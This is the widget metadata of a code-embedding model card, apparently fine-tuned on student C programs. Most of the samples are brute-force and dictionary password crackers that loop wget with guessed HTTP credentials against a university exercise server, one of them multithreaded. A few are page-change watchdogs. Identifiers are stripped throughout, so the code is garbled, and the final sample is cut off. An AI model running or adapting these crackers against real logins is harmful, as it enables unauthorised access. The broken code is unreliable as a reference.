metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:3081
- loss:BatchAllTripletLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: |
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {
char [100]={'\0'};
strcpy(,b);
strcat(,);
printf ("Sending command %s\n",);
if ( system()== 0) {
printf ("\n password is : %s",);
return 1;
}
return 0;
}
int bruteForce(char [],char comb[],char *url) {
int i,j,k;
for(i=0;i<52 ;i++) {
comb[0]= [i];
if (execPassword(comb,url)== 1) return 1;
for(j=0;j<52;j++) {
comb[1] = [j];
if(execPassword(comb,url)==1) return 1;
for(k=0;k<52;k++) {
comb[2] = [k];
if(execPassword(comb,url)==1) return 1;
}
comb[1] = '\0';
}
}
return 0;
}
int (char *argc, char *argv[]) {
int i,j,k;
char strin[80] = {'\0'};
char *passwd;
char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
char v[4]={'\0'};
int startTime, stopTime, final;
int flag=false;
strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");
startTime = time();
if (bruteForce(a,v,strin)==1) {
stopTime = time();
final = stopTime-startTime;
}
printf ("\n The password is : %s",v);
printf("%lld nanoseconds (%lf) seconds \n", final, (double)final/OneBillion );
}
sentences:
- "\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n\nint ()\n\n{\n int cntr=0;\n char get[96];\n char username[]=\"\";\n char password[16];\n int R_VALUE;\n double time_used;\n clock_t , end;\n \n FILE* fp;\n fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n \n = clock();\n \n while ( fscanf(fp,\"%s\",&password) != EOF )\n\t {\n \n\t\t \n\t\t if(strlen(password)>3) continue;\n\t\t \n\t\t cntr++;\n printf(\"%d >> PASSWORD SEND : %s \\n\",cntr, password);\n \n\t\t\t\tsprintf(get,\"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n \n \n R_VALUE=system(get);\n \n\t if(R_VALUE==0)\n\t\t\t\t{\n\t\t printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t exit(0);\n\t\t\t\t}\n\n\t }\n\n\t \n end = clock();\n time_used = ((double) (end - )) / CLOCKS_PER_SEC;\n printf(\"time_used = %f\\n\", time_used);\n\n}\n\n\n\n"
- "\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n\nint ()\n\n{\n int cntr=0;\n char get[96];\n char username[]=\"\";\n char password[16];\n int R_VALUE;\n double time_used;\n clock_t , end;\n \n FILE* fp;\n fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n \n = clock();\n \n while ( fscanf(fp,\"%s\",&password) != EOF )\n\t {\n \n\t\t \n\t\t if(strlen(password)>3) continue;\n\t\t \n\t\t cntr++;\n printf(\"%d >> PASSWORD SEND : %s \\n\",cntr, password);\n \n\t\t\t\tsprintf(get,\"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/\",username,password);\n \n \n R_VALUE=system(get);\n \n\t if(R_VALUE==0)\n\t\t\t\t{\n\t\t printf(\"The Password has been cracked and it is : %s\" , password);\n\t\t exit(0);\n\t\t\t\t}\n\n\t }\n\n\t \n end = clock();\n time_used = ((double) (end - )) / CLOCKS_PER_SEC;\n printf(\"time_used = %f\\n\", time_used);\n\n}\n\n\n\n"
- "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n int i,j,k,success;\n char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n \n \n strcpy(str1,\"wget --http-user= --http-passwd=\");\n strcpy(str2,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n strcpy(tempstr,\"\");\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n strcpy(passwd,\"\");\n } \n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n \n } \n }\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n for(k=0;k<52;k++)\n\t {\n\t passwd[2]=chararray[k];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n\t } \n } \n }\n return 1;\n } \n\nint (int argc, char *argv[])\n {\n char chararray[52],passwd[3];\n int i,success;\n char ch='a';\n\n\n \n int , end; \n = time();\t \n\n for (i=0;i<3;i++)\n {\n passwd[i]='\\0';\n } \n\n\n\n for (i=0;i<26;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n ch='A'; \n for (i=26;i<52;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n\n\n\n success=genchkpwd(chararray,passwd);\n printf(\"\\nPassword is %s\\n\",passwd); \n getpid();\n end = time(); \n printf(\"Time required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n"
- source_sentence: |
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
sentences:
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};\ntime_t u1,u2;\n\n (void) time(&u1); \n strcpy(temp1,\"wget --http-user= --http-passwd=\");\n strcpy(temp2,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \n for(m=0;m<=51;m++)\n {\n v[0]=[m]; \n v[1]='\\0';\n v[2]='\\0';\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3); \n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n for(n=0;n<=51;n++)\n {\n v[0]=[m]; \n v[1]=[n];\n v[2]='\\0';\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n for(o=0;o<=51;o++)\n { \n v[0]=[m]; \n v[1]=[n];\n v[2]=[o];\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n \n \n }\n }\n } \n \n} \n"
- "\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n FILE *fptr;\n char pass[257];\n char send[100],path[50];\n int res,count=0;\n int startTime, stopTime, final;\n startTime = time();\n while((fptr=(fopen(\"/usr/share/lib/dict/words\",\"r\")))!= NULL) {\n \n while(1) {\n fgets(pass,256,fptr);\n if(pass == NULL) exit(1);\n if(pass[3]=='\\n') {\n pass[3]='\\0';\n\t send[0]='\\0';\n\t strcpy(send,\"wget --http-user= --http-passwd=\");\n \t strcat(send,pass);\n\t strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t count++;\n\t if((res=(system(send)) == 0)) {\n\t fclose(fptr);\n\t stopTime = time();\n final = stopTime-startTime;\n\t printf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",pass,(double)final/OneBillion,count);\n\t exit(1);\n\t }\n }\n }\n }\n printf(\"\\nFILE CANNOT OPENED\\n\");\n}\n"
- |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int time1, time2, time_var;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
time1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
if (strlen(word) == 3)
{
syst = system(url);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
}
if (syst == 0)
{
time2 = time();
time_var = time2 - time1;
timeinsec = time_var/1000000000;
printf("\n The Password is: %s",word);
printf("\n of Attempts: %d\n",nofattempts);
printf("\n Time Taken: %d seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
- source_sentence: "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <sys/time.h>\n#include <strings.h>\n#include <ctype.h>\n\nint ()\n{\n char url[80], url1[80];\n int i, j, k, syst = 1, nofattempts = 0;\n char c1, c2, c3, pass[4];\n int time_var,time1,time2, timeinsec;\n time1 = time();\n\n char itoa[52] = \"aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ\";\n\n strcpy(url, \"wget --http-user= --http-passwd=\");\n strcpy(url1, \" http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt\");\n\n for (i = 1; i <= 52; i++)\n {\n for (j = 1; j <= 52; j++)\n {\n for (k = 1; k <= 52; k++)\n {\n fflush(stdin);\n c1 = itoa[i];\n c2 = itoa[j];\n c3 = itoa[k];\n pass[0] = c1;\n pass[1] = c2;\n pass[2] = c3;\n \t pass[3] = '\\0';\n strcat(url, pass);\n strcat(url, url1);\n\t ++nofattempts;\n syst = system(url);\n printf(\"%s\\n\",pass);\n if (syst == 0)\n {\n time2 = time();\n time_var = time2 - time1;\n timeinsec = time_var / 1000000000;\n printf(\" Number of Attempts is %d\", nofattempts);\n printf(\"\\n Found it! The Password is: %s\\n\", pass);\n printf(\"\\n The time_var taken crack the password by brute force is %lld seconds\\n\", timeinsec);\n exit(1);\n }\n\t strcpy(url, \"\");\n \t strcpy(url, \"wget --http-user= --http-passwd=\");\n }\n }\n }\n exit(0);\n}\n"
sentences:
- |
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime, stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t [2] = arr[k];\n\t [3] = '\\0';\n\n\n\t printf(\"Checking for the word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass == 0)\n\t { \n printf(\"Success\\n\");\n\t\tprintf(\"Number of attempts = %d\\n\",count);\n\t stopTime = time();\n\n final = stopTime-startTime;\n\t\tprintf(\"The password for the user : %s\\n\",); \n printf(\" Cracked the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n"
- "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n\nint ()\n{\n FILE *fh,*fp,*fp1,*d;\n char\n [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];\n sleep(60*60*24);\n system(\"wget http://www.cs.rmit.edu./students\");\n if(system==0)\n {\n printf(\"File stored\");\n }\n strcpy(filename,\"index.html\"); \n if((fh=fopen(filename,\"r\"))==NULL)\n {\n printf(\"cannot open file\\n\");\n exit(1);\n }\n fp=fopen(\"index.txt\",\"r\");\n fp1=fopen(\"index1.txt\",\"r\");\n \n while((fgets(PassString,sizeof(PassString),fh))!= NULL)\n {\n fread(p,sizeof(PassString),sizeof(PassString),fh);\n printf(\" contents %s\\n\",p);\n while((f1!=EOF) || (f2!=EOF))\n {\n f1=getc(fp);\n f2=getc(fp1);\n if(f1<f2)\n {\n strcpy(,p);\n fp=fopen(\"index.txt\",\"r+b\");\n fputs(,fp);\n fflush(fp); \n fclose(fp); \n }\n else\n {\n strcpy(temp1,p);\n fp1=fopen(\"index1.txt\",\"r+b\");\n fputs(temp1,fp1);\n fflush(fp1);\n fclose(fp1);\n }\n }\n if(system(\"diff -b -w index.txt index1.txt > Diff.txt\")==0)\n {\n d=fopen(\"Diff.txt\",\"r\");\n if((fgets(,sizeof(),d))!=NULL)\n {\n printf(\"The difference between exist\");\n\tsystem(\"Mail \\r\\n Difference\");\n }\n \n }\n }\n return 0;\n }\n"
- source_sentence: "\n\n \n\t \n\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n\n \n int ()\n {\n char url[30];\n int exitValue=-1;\n FILE *fr;\n\n char s[300]; \t \n\tsystem(\"rm index.html*\");\n system(\"wget http://www.cs.rmit.edu./students/ \"); \n\t system(\"mv index.html one.html\");\n\t \n printf(\"System completed Writing\\n\"); \n\t system(\"sleep 3600\");\n\t \n\t \n system(\"wget http://www.cs.rmit.edu./students/ \"); \n \n\t \n\t \t \n\t exitValue=system(\"diff one.html index.html > .out\" );\n\t \n fr=fopen(\".out\",\"r\");\n\t \n\t strcpy(s,\"mailx -s \\\"Testing Again\\\"\");\n\t \t \n\t strcat(s,\" < .out\");\n\t if(fgets(url,30,fr))\n\t {\n\t system(s);\n\t \n\t system(\"rm one.html\"); \n\t \n\t printf(\"\\nCheck your mail\") ; \n\t fclose(fr); \n\t }\n\t else\n\t {\n\t printf(\" changes detected\"); \n\t\t \n\t system(\"rm one.html\"); \n\t\t fclose(fr); \n\t\t }\n\t\t return 0; \n }\n \n \n \n\n\n\n"
sentences:
- >+
#define _REENTRANT
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>
#define MAX_THREADS 1000
#define MAX_COMBO
#define false 0
#define true 1
static char
*alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char **combination=NULL;
static char host[128];
pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;
pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;
static int attempt_count=0;
static int combo_entries=0;
static struct timeval ;
static struct timeval stop;
static int thread_ready_indicator=false;
static int thread_start_indicator=false;
static int thread_count=0;
typedef struct range
{
int ;
int ;
}range;
void *client(void *arg)
{
int i=0, status=1;
range *= (struct range*)arg;
char local_buffer[128];
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=true;
pthread_cond_signal(&thread_ready);
while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
fflush(stdout);
pthread_mutex_unlock(&thread_lock);
for(i=->; i<=-> && i<combo_entries; i++)
{
sprintf(local_buffer,
"wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
"", combination[i], host);
status=system(local_buffer);
if(status==0)
{
printf("\n\nusername: \npassword: %s\n\n", combination[i]);
fflush(stdout);
pthread_mutex_lock(&counter_lock);
attempt_count++;
gettimeofday(&stop, NULL);
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
pthread_mutex_unlock(&counter_lock);
exit(EXIT_SUCCESS);
}
else
{
pthread_mutex_lock(&counter_lock);
attempt_count++;
pthread_mutex_unlock(&counter_lock);
}
}
pthread_exit(NULL);
}
char *getNextCombination()
{
static int i=0;
static int j=0;
static int k=0;
static int mode=1;
char *word;
if(i>51)
{
mode++; i=0; j=0; k=0;
}
if(mode==1)
{
char *word = calloc(mode, 1);
word[0]=alphabet[i++];
word[1]='\0';
return word;
}
if(mode==2)
{
if(j>51)
{
i++; j=0;
}
if(i>51)
{
mode++;
i=0; j=0; j=0;
}
else
{
char *word = calloc(mode, 1);
word[0]=alphabet[i];
word[1]=alphabet[j++];
word[2]='\0';
return word;
}
}
if(mode==3)
{
if(k>51)
{
j++; k=0;
}
if(j>51)
{
i++; j=0;
}
if(i>51)
{
mode++;
i=0; j=0; j=0;
}
else
{
char *word = calloc(mode, 1);
word[0]=alphabet[i];
word[1]=alphabet[j];
word[2]=alphabet[k++];
word[3]='\0';
return word;
}
}
return NULL;
}
int main(int argc, char **argv)
{
int wait_status=0, i=0, j=0, num_threads=0;
int partition=0, prev_min=0, prev_max=0;
int len=0;
char *word; range *;
pthread_t tid[MAX_THREADS];
int non_alpha_detected=0;
if(argc<3)
{
puts("Incorrect usage!");
puts("./brute num_threads url");
exit(EXIT_FAILURE);
}
strcpy(host, argv[2]);
num_threads=atoi(argv[1]);
combination = (char **)calloc(MAX_COMBO, sizeof(char *));
printf("Process ID for the thread is: %d\n", getpid());
printf("Creating brute-force dictionary ... ");
while( (word=getNextCombination())!= NULL && i<MAX_COMBO)
{
combination[i]=calloc(strlen(word)+1, sizeof(char));
strcpy(combination[i++], word);
combo_entries++;
}
puts("");
j=0;
partition=combo_entries/num_threads;
if(partition==0)
{
puts("Reducing the number of threads match the number of words.");
num_threads=combo_entries;
partition=1;
}
prev_min=0;
prev_max=partition;
i=0;
memset(&, 0, sizeof(struct timeval));
memset(&stop, 0, sizeof(struct timeval));
while(i<num_threads && i<MAX_THREADS)
{
=malloc(sizeof(struct range));
->=prev_min;
->=prev_max;
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=false;
pthread_mutex_unlock(&thread_lock);
if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");
pthread_mutex_lock(&thread_lock);
while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
pthread_mutex_unlock(&thread_lock);
prev_min+=partition+1;
if(i==num_threads)
{
prev_max=combo_entries;
}
else
{
prev_max+=partition+1;
}
}
gettimeofday(&, NULL);
pthread_mutex_lock(&thread_lock);
thread_start_indicator=true;
pthread_mutex_unlock(&thread_lock);
pthread_cond_broadcast(&start_hacking);
printf("Created %d threads process %d passwords\n", num_threads, combo_entries);
printf("Attacking host: %s\n", host);
fflush(stdout);
for(i=0; i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL);
gettimeofday(&stop, NULL);
puts("Could not determine the password for this site.");
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
for(i=0; i<combo_entries; i++) (combination[i]);
(*combination);
return EXIT_SUCCESS;
}
- |
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
- "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n int i, cnt, flag;\n char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n char fin;\n \n strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\");\n strcpy(string2,\" --http-user= --http-passwd='\");\n strcpy(,\"\");\n\n while ((fin = fgetc(fp)) != EOF)\n {\n cnt = 0;\n \n for (i=0;i<MAX_SIZE;i++)\n { \n passwd[i] = '\\0';\n [i] = '\\0';\n }\n\t \n while(fin != '\\n')\n {\n\t passwd[cnt] = fin;\n\t cnt++;\n\t fin = fgetc(fp);\n } \n \n if(strlen(passwd) <= 3)\n {\n strcat(, string1);\n strcat(, string2);\n\t strcat(, passwd);\n\t strcat(, \"'\");\n\t printf(\"Sending Request as %s\\n\",);\n\t flag = system();\n\t \n if (flag == 0)\n\t {\n printf(\"\\nPassword is %s\\n\",passwd);\n\t return 1;\n\t }\n \n\t strcpy(,\"\"); \n strcpy(passwd,\"\");\n }\n }\n} \n\n\nint (int argc, char *argv[])\n{\n char *fname;\n FILE *fp;\n \n int , end; \n \n = time();\n \n if (argc != 2)\n {\n fprintf(stdout,\"Usage : ./Dictionary <dictionary>\\n\");\n return(EXIT_FAILURE);\n }\n \n fname = argv[1];\n \n if((fp = fopen(fname, \"r\")) == NULL)\n {\n fprintf(stderr,\"Error : Failed open %s for . \\n\",fname);\n return(EXIT_FAILURE);\n }\n \n CrackPasswd(fp);\n \n end = time(); \n printf(\"Time Required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n \n}\n \n\t \n\t \t\n"
- source_sentence: "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n int i,j,k,success;\n char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n \n \n strcpy(str1,\"wget --http-user= --http-passwd=\");\n strcpy(str2,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n strcpy(tempstr,\"\");\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n strcpy(passwd,\"\");\n } \n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n \n } \n }\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n for(k=0;k<52;k++)\n\t {\n\t passwd[2]=chararray[k];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,\"\"); \n\t } \n } \n }\n return 1;\n } \n\nint (int argc, char *argv[])\n {\n char chararray[52],passwd[3];\n int i,success;\n char ch='a';\n\n\n \n int , end; \n = time();\t \n\n for (i=0;i<3;i++)\n {\n passwd[i]='\\0';\n } \n\n\n\n for (i=0;i<26;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n ch='A'; \n for (i=26;i<52;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n\n\n\n success=genchkpwd(chararray,passwd);\n printf(\"\\nPassword is %s\\n\",passwd); \n getpid();\n end = time(); \n printf(\"Time required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n"
sentences:
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};\ntime_t u1,u2;\n\n (void) time(&u1); \n strcpy(temp1,\"wget --http-user= --http-passwd=\");\n strcpy(temp2,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \n for(m=0;m<=51;m++)\n {\n v[0]=[m]; \n v[1]='\\0';\n v[2]='\\0';\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3); \n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n for(n=0;n<=51;n++)\n {\n v[0]=[m]; \n v[1]=[n];\n v[2]='\\0';\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n for(o=0;o<=51;o++)\n { \n v[0]=[m]; \n v[1]=[n];\n v[2]=[o];\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n 